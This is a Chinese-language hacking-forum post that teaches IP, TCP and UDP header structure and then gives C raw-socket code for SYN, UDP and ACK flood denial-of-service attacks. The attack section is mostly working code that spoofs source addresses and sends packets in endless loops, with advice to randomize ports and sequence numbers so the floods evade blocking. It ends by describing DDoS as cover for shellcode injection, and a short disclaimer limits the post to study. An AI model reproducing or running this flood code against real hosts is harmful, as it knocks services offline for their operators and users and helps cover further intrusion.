[拒绝服务攻击] DDOS攻击原理剖析及简单攻击实现

42 0
Honkers 昨天 00:25 来自手机 | 显示全部楼层 |阅读模式

DDOS是当今互联网最基础,成本最低的攻击方式之一,但是会给基础设施造成致命威胁。本文将从零开始介绍DDOS的基本原理,同时将使用C语言进行基础代码实现。

目录

        一.网络基础架构

        二.常用网络协议解析

        三.常见DDOS攻击类型及代码实现

一.网络基础架构

网络常用的模型有两种,分别是OSI七层模型和TCP/IP四层模型。OSI模型将网络分为应用层,表示层,会话层,传输层,网络层,数据链路层,物理层。但是在真实使用中,通常使用TCP/IP模型,包括应用层,传输层,网络层,网络接口层。下图是TCP/IP模型及常见协议。

应用层(HTTP,FTP,DNS,SSH等)
传输层(TCP,UDP)
网络层(IP,ICMP)
网络接口层(Ethrnet,PPP,ARP)

然后介绍IP数据包的构成。从应用层开始,首先只有应用层数据。当数据包进入传输层时,前面会添加TCP头或者UDP头。当达到网络层时,前面回添加IP头。然后到达链路层时,会添加以太网头。最终由网卡转化为比特流发送出去。当然在DDOS中,我们只需要关心IP头和TCP/UDP头即可,以太网帧会由内核自动补全。下面是完整数据包的结构示意图。

以太网帧头IP头         TCP/UDP头应用层数据以太网帧尾

二.常用网络协议解析

1.IP协议

首先介绍网络层的IP协议,IP协议负责通过路由,将数据从一台主机传递到另一台。其发送前不需要建立连接,所以不能保证数据一定送达,但会尽最大努力交付。所以IP协议不关心数据本身,只关心来源(源IP地址)和目的地(目的IP地址)

IP地址是IP协议的统一地址格式,目前仍然主要使用IPv4。IPv4用32位bit表示IP地址,同时将地址分为A,B,C,D,E5类,可以通过IP地址的第一个十进制数区分。同时IP地址必须配合子网掩码使用,子网掩码的1对应IP的网络位,0对应IP的主机位。   

下面介绍IP头的结构,在进行DDOS攻击时必须使用原始套接字手动构建IP头。IP头最小20字节,最大60字节。主要包括下面的几个部分:

  1. 版本(4bit):IPv4就写4,IPv6就写6。
  2. 头长度(4bit):最小写5(5*4=20字节),最大是15(15*4=60字节)。
  3. 总长度(16bit):整个IP数据包多大字节(IP头+TCP/UDP头+应用层数据)。
  4. 生存时间(8bit):每过一个路由就减1,防止出现环路问题。
  5. 源IP(32bit) / 目的IP(32bit):DDOS攻击中,必须进行伪造源IP,从而绕过简单白名单。

下面是使用原始套接字构建IP头的代码,部分字段需要修改。

  1. ip_header->version = 4; //版本,固定
  2. ip_header->ihl = 5; //一般为5,固定
  3. ip_header->tos = 0; //服务类型,固定
  4. //数据总长度,根据数据写
  5. ip_header->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len);
  6. ip_header->id = htons(6666); //数据包分片,通常改,模拟不同包会分成不同的片数
  7. ip_header->frag_off = 0; //不分片,固定
  8. ip_header->ttl = 64; //常见TTL值,固定
  9. ip_header->protocol = IPPROTO_TCP; //按照协议修改(TCP/UDP)
  10. ip_header->saddr = inet_addr("192.168.1.100"); //源IP,通常需要伪造
  11. ip_header->daddr = inet_addr("192.168.1.200"); //想要攻击的目标IP
  12. //会自动算,但是改字段后必须重算
  13. ip_header->check = checksum((unsigned short*)ip_header, ip_header->ihl * 4);
复制代码

2.TCP协议

下面介绍传输层的的TCP协议,是网络最可靠的传输协议。通信前必须进行三次握手建立连接,通信结束后通过四次挥手断开。如果丢包会进行重传,保障数据可靠交付。在网络层利用IP地址定位主机后,TCP协议通过端口号区分同一主机的不同进程,端口号的范围是0~65535。而DDOS中重点使用三次捂手进行攻击,下面重点介绍三次握手的流程。

  1. 第一次握手(SYN包),客户端向服务端发出请求数据包,包中的标志位SYN=1ACK=0,同时客户端随机生成初始序列client_seq,同时ack_seq=0。服务器验证包格式合法后,分配半连接资源,放入SYN队列中。
  2. 第二次握手,服务器向客户端确认收到请求,并同步自己的序列号。包中SYN=1ACK=1,然后服务器随机生成自己的序列号server_seq,同时ack_seq=client_seq+1,表示已收到。
  3. 第三次握手(ACK包),客户端向服务器确认,正式建立连接。包中SYN=0ACK=1,同时seq=ack_seq,自己的ack_seq=server_seq+1,表示已收到。服务器收到包后,从半连接变为全连接,同时请求SYN队列移动到accept队列,就可传输数据了。

下面介绍一下TCP头的结构,TCP头长度最小20字节,最大60字节,主要包括下面的部分:

  1. 源端口(16bit):可填写随机本机高位端口。
  2. 目的端口(16bit):负责进程寻找,一般集中打击单一端口(80,443,22等)。
  3. 系列号SEQ(32bit):数据流编号,一般随意填写。
  4. 确认号ACK(32bit):确认是否收到包,一般随意填写。
  5. 6个控制标志位(主要关注两个即可):SYN,ACK。
  6. 窗口大小:主要负责进行流量控制,一般随便填写。

下面是使用原始套接字构建TCP头的代码,其中的SYN和ACK需根据攻击类型修改:

  1. tcp_header->source = htons(9999); //源端口
  2. tcp_header->dest = htons(8080); //目的端口
  3. tcp_header->seq = htonl(123456789);//序列号SEQ
  4. tcp_header->ack_seq = htonl(0); //确认号ACK
  5. tcp_header->doff = 5; //TCP头长度,最小20字节,固定为5
  6. //6个控制标志位
  7. tcp_header->fin = 0; // 结束连接标志,置0
  8. tcp_header->syn = 1; // 同步连接标志,根据攻击类型改
  9. tcp_header->rst = 0; // 重置连接标志,置0
  10. tcp_header->psh = 0; // 推送数据标志,置0
  11. tcp_header->ack = 0; // 确认标志,根据攻击类型改
  12. tcp_header->urg = 0; // 紧急指针标志,置0
  13. tcp_header->window = htons(65535); //窗口大小
  14. // TCP校验和,先置0,后续用伪头部计算
  15. tcp_header->check = 0;
  16. tcp_header->urg_ptr = 0;//紧急指针
复制代码

3.UDP协议

下面介绍传输层的的UDP协议,通讯前无需建立连接,直接发送数据,所以不保证数据一定到达,丢包不会重传。但头部短小,传输效率高。同样适用端口定位主机进程。下面介绍UDP头结构:

  1. 源端口(16bit):可填写随机本机高位端口。
  2. 目的端口(16bit):负责进程寻找,一般集中打击单一端口(80,443,22等)。
  3. 数据报长度(16bit):整个UDP包多少字节(UDP头+应用层数据)。
  4. 校验和(16bit):攻击包一般填0,主动跳过校验。

下面是用原始套接字编写的UDP头代码:

  1. udp_header->source = htons(9999); //源端口,需修改
  2. udp_header->dest = htons(8080); //目的端口,填要打击的服务器端口
  3. udp_header->len = htons(sizeof(struct udphdr) + strlen(msg)); //数据报总长度
  4. udp_header->check = 0; //校验和,一般置0
复制代码

三.常见DDOS攻击类型及代码实现

在具有上述网络架构及协议基础后,我们开始探讨DDOS的常见攻击类型。DDOS常见攻击类型包括SYN Flood,ACK Flood,UDP Flood,HTTP Flood。当然还有现在不怎么使用的ICMP Flood,或者更多类型。下面介绍传输层的三种基础类型。

1.SYN Flood

SYN Flood主要使用TCP协议的第一次握手的SYN包,因而得名。在TCP的第一次握手中,客户端需要向服务端发送一个SYN包,其SYN=1,用来请求连接。而SYN Flood就是客户端大量发送SYN包,但只与服务器进行第一次握手连接,将服务器的半连接队列占满,从而导致正常的SYN请求服务器也无法处理。

首先进行原始套接字的创建,并加上异常处理。

  1. int raw_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
  2. if(raw_sock == -1){
  3. perror("创建raw socket失败!\n");
  4. exit(EXIT_FAILURE);
  5. }
复制代码

然后是创建一个缓冲区,并对这个缓冲区进行IP头,TCP头,数据等部分的划分和构造。

  1. char packet_buf[1024] = {0};
  2. struct iphdr *ip_header = (struct iphdr*)packet_buf;
  3. struct tcphdr *tcp_header = (struct tcphdr*)(packet_buf + sizeof(struct iphdr));
  4. char *data = packet_buf + sizeof(struct iphdr) + sizeof(struct tcphdr);
  5. const char *msg = "SYN FLOOD!";
  6. strcpy(data, msg);
复制代码

下面就是手动构建IP头和TCP头,构造原理上面已经讲过了。

  1. ip_header->version = 4;
  2. ip_header->ihl = 5;
  3. ip_header->tos = 0;
  4. ip_header->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(msg));
  5. ip_header->id = htons(6666); //建议加上随机化处理
  6. ip_header->frag_off = 0;
  7. ip_header->ttl = 64;
  8. ip_header->protocol = IPPROTO_TCP;
  9. ip_header->saddr = inet_addr("192.168.1.100");//使用时需要修改或伪造
  10. ip_header->daddr = inet_addr("192.168.1.200");//使用时需要修改或伪造
  11. ip_header->check = checksum((unsigned short*)ip_header, ip_header->ihl * 4);
复制代码
  1. tcp_header->source = htons(9999); //建议端口随机化
  2. tcp_header->dest = htons(8080); //目标端口需修改
  3. tcp_header->seq = htonl(123456789); //建议随机化
  4. tcp_header->ack_seq = htonl(0);
  5. tcp_header->doff = 5;
  6. tcp_header->fin = 0;
  7. tcp_header->syn = 1; //必须为1
  8. tcp_header->rst = 0;
  9. tcp_header->psh = 0;
  10. tcp_header->ack = 0;
  11. tcp_header->urg = 0;
  12. tcp_header->window = htons(65535);
  13. tcp_header->check = 0;
  14. tcp_header->urg_ptr = 0;
复制代码

下面则是计算填充TCP报文校验和的部分。

  1. ​struct {
  2. uint32_t saddr;
  3. uint32_t daddr;
  4. uint8_t zero;
  5. uint8_t protocol;
  6. uint16_t tcp_len;
  7. } pseudo_hdr = {ip_header->saddr,ip_header->daddr,0,IPPROTO_TCP,htons(sizeof(structtcphdr)+strlen(msg))};
  8. char tcp_check_buf[1024] = {0};
  9. int pseudo_tcp_len = sizeof(pseudo_hdr) + sizeof(struct tcphdr) + strlen(msg);
  10. memcpy(tcp_check_buf, &pseudo_hdr, sizeof(pseudo_hdr));
  11. memcpy(tcp_check_buf + sizeof(pseudo_hdr), tcp_header, sizeof(struct tcphdr)+strlen(msg));
  12. tcp_header->check = checksum((unsigned short*)tcp_check_buf, pseudo_tcp_len);
复制代码

最后就是通过循环不断向服务器发送SYN包,每发送1000个包会自动进行打印。

  1. struct sockaddr_in dest_addr;
  2. memset(&dest_addr, 0, sizeof(dest_addr));
  3. dest_addr.sin_family = AF_INET;
  4. dest_addr.sin_addr.s_addr = ip_header->daddr;
  5. int count = 0;
  6. while(1){
  7. ssize_t send_len = sendto(raw_sock,packet_buf,ntohs(ip_header->tot_len),0,
  8. (struct sockaddr*)&dest_addr,sizeof(dest_addr));
  9. if (send_len < 0) {
  10. perror("发送数据包失败");
  11. close(raw_sock);
  12. exit(EXIT_FAILURE);
  13. }
  14. count++;
  15. if (count % 1000 == 0) {
  16. printf("已发送 %d 个SYN数据包\n", count);
  17. }
  18. }
  19. close(raw_sock);
复制代码

2.UDP Flood

UDP Flood顾名思义就是使用UDP协议向服务器发送大量UDP包,UDP协议无需连接,效率高,因此UDP Flood攻击的效果也很简单粗暴。基本过程和上面的SYN Flood差不多。

首先还是创建原始套接字,然后进行IP包的IP头和UDP头的缓冲区构建。

  1. int raw_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
  2. if(raw_sock == -1){
  3. perror("创建raw socket失败!\n");
  4. exit(EXIT_FAILURE);
  5. }
  6. char packet_buf[1024] = {0};
  7. struct iphdr *ip_header = (struct iphdr*)packet_buf;
  8. struct udphdr *udp_header = (struct udphdr*)(packet_buf + sizeof(struct iphdr))char *data = packet_buf + sizeof(struct iphdr) + sizeof(struct udphdr);
  9. const char *msg = "UDP FLOOD";
  10. strcpy(data, msg);
复制代码

然后手动构造IP头和UDP头。

  1. ip_header->version = 4;
  2. ip_header->ihl = 5;
  3. ip_header->tos = 0;
  4. ip_header->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(msg);
  5. ip_header->id = htons(6666); //建议随机化
  6. ip_header->frag_off = 0;
  7. ip_header->ttl = 64;
  8. ip_header->protocol = IPPROTO_UDP;
  9. ip_header->saddr = inet_addr("192.168.1.100"); //填写伪造源IP
  10. ip_header->daddr = inet_addr("192.168.1.200"); //要攻击的目的IP
  11. ip_header->check = checksum((unsigned short*)ip_header, ip_header->ihl * 4);
  12. udp_header->source = htons(9999); //建议端口随机化
  13. udp_header->dest = htons(8080); //要攻击的目标端口
  14. udp_header->len = htons(sizeof(struct udphdr) + strlen(msg));
  15. udp_header->check = 0;
复制代码

下面就是进行循环向服务器发出UDP的包的代码。

  1. struct sockaddr_in dest_addr;
  2. memset(&dest_addr, 0, sizeof(dest_addr));
  3. dest_addr.sin_family = AF_INET;
  4. dest_addr.sin_addr.s_addr = ip_header->daddr;
  5. int count = 0;
  6. while(1){
  7. ssize_t send_len = sendto(raw_sock,packet_buf,ip_header->tot_len,0,
  8. (struct sockaddr*)&dest_addr,sizeof(dest_addr));
  9. if (send_len < 0) {
  10. perror("发送数据包失败");
  11. close(raw_sock);
  12. exit(EXIT_FAILURE);
  13. }
  14. count++;
  15. if (count % 100 == 0) {
  16. printf("已发送 %d 个UDP数据包\n", count);
  17. }
  18. }
  19. close(raw_sock);
复制代码

3.ACK Flood

ACK Flood主要使用TCP的第三次握手的ACK包,其主要负责向服务器确认,并正式建立连接。ACK包是由客户端向服务器发送,用来回应第二次握手时服务器发送的包。所以ACK包与前面两个有所不同,因为SYN包和UDP包本质都是客户端主动发送的ACK包则是被动回应。如果ACK包内容固定的话,会直接被服务器发现并封禁。

首先还是创建套接字,构建数据包缓冲区结构,然后填充IP头。

  1. int raw_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
  2. if(raw_sock == -1){
  3. perror("创建raw socket失败!");
  4. exit(EXIT_FAILURE);
  5. }
  6. char packet_buf[1024] = {0};
  7. struct iphdr *ip_header = (struct iphdr*)packet_buf;
  8. struct tcphdr *tcp_header = (struct tcphdr*)(packet_buf + sizeof(struct iphdr));
  9. char *data = packet_buf + sizeof(struct iphdr) + sizeof(struct tcphdr);
  10. const char *msg = "ACK FLOOD!";
  11. strcpy(data, msg);
  12. ip_header->version = 4;
  13. ip_header->ihl = 5;
  14. ip_header->tos = 0;
  15. ip_header->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(msg));
  16. ip_header->id = htons(6666);
  17. ip_header->frag_off = 0;
  18. ip_header->ttl = 64;
  19. ip_header->protocol = IPPROTO_TCP;
  20. ip_header->saddr = inet_addr("192.168.1.100");
  21. ip_header->daddr = inet_addr("192.168.1.200");
  22. ip_header->check = checksum((unsigned short*)ip_header, ip_header->ihl * 4);
复制代码

然后下面直接进入循环,每次都创建不同的TCP头,然后发送ACK包。

  1. struct sockaddr_in dest_addr;
  2. memset(&dest_addr, 0, sizeof(dest_addr));
  3. dest_addr.sin_family = AF_INET;
  4. dest_addr.sin_addr.s_addr = ip_header->daddr;
  5. //初始化随机数种子,使用时间戳当种子
  6. srand((unsigned int)time(NULL));
  7. int count = 0;
  8. while(1){ //必须每次都构建不同的TCP头
  9. tcp_header->source = htons(rand() % 65535 + 1);//必须进行随机化
  10. tcp_header->dest = htons(8080);
  11. tcp_header->seq = htonl(rand());
  12. tcp_header->ack_seq = htonl(rand()); //必须进行随机化
  13. tcp_header->doff = 5;
  14. tcp_header->fin = 0;
  15. tcp_header->syn = 0;
  16. tcp_header->rst = 0;
  17. tcp_header->psh = 0;
  18. tcp_header->ack = 1; //开启ACK
  19. tcp_header->urg = 0;
  20. tcp_header->window = htons(65535);
  21. tcp_header->check = 0;
  22. tcp_header->urg_ptr = 0;
  23. struct { //TCP校验代码
  24. uint32_t saddr;
  25. uint32_t daddr;
  26. uint8_t zero;
  27. uint8_t protocol;
  28. uint16_t tcp_len;
  29. } pseudo_hdr = {ip_header->saddr,ip_header->daddr,0,IPPROTO_TCP,htons(sizeof(struct tcphdr) + strlen(msg))};
  30. char tcp_check_buf[1024] = {0};
  31. int pseudo_tcp_len = sizeof(pseudo_hdr) + sizeof(struct tcphdr) + strlen(msg);
  32. memcpy(tcp_check_buf, &pseudo_hdr, sizeof(pseudo_hdr));
  33. memcpy(tcp_check_buf + sizeof(pseudo_hdr), tcp_header, sizeof(struct tcphdr) + strlen(msg));
  34. tcp_header->check = checksum((unsigned short*)tcp_check_buf, pseudo_tcp_len);
  35. ssize_t send_len = sendto(raw_sock,packet_buf,ntohs(ip_header->tot_len),0,
  36. (struct sockaddr*)&dest_addr,sizeof(dest_addr));
  37. if (send_len < 0) {
  38. perror("发送数据包失败");
  39. close(raw_sock);
  40. exit(EXIT_FAILURE);
  41. }
  42. count++;
  43. if (count % 100 == 0) {
  44. printf("已发送 %d 个ACK数据包\n", count);
  45. }
  46. usleep(1);//建议添加延时,ACK包开销巨大,防止内核过载
  47. }
  48. close(raw_sock);
复制代码

最后附上一个校验的辅助函数:

  1. unsigned short checksum(unsigned short *buf, int len) {
  2. unsigned long sum = 0;
  3. for (; len > 1; len -= 2) {
  4. sum += *buf++;
  5. }
  6. if (len == 1) {
  7. sum += *(unsigned char*)buf;
  8. }
  9. sum = (sum >> 16) + (sum & 0xFFFF);
  10. sum += (sum >> 16);
  11. return (unsigned short)(~sum);
  12. }
复制代码

上面就介绍了基础的DDOS原理及攻击实现,真实中的DDOS攻击还会采用DNS等协议进行攻击放大,或者利用畸形协议进行慢速消耗CPU,或者直接进行多网络层级的混合攻击等。

而且在真实的APT中,DDOS往往和其他攻击手段共同配合。攻击团队首先使用DDOS将目标的服务器的防火墙等防护手段瘫痪,从而制造运维盲区,然后趁机将预先写好的shellcode进行注入,然后利用其夺得服务器权限或完成挂马操作。

声明:本文内容只能用于学习研究,任何人不得在未经允许的情况下,对他人进行网络攻击。一切利用本文内容引发的风险和法律责任,均由行为人自行承担后果,与本文作者无关。

本人新手,如有错误,希望各位大佬指正。

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行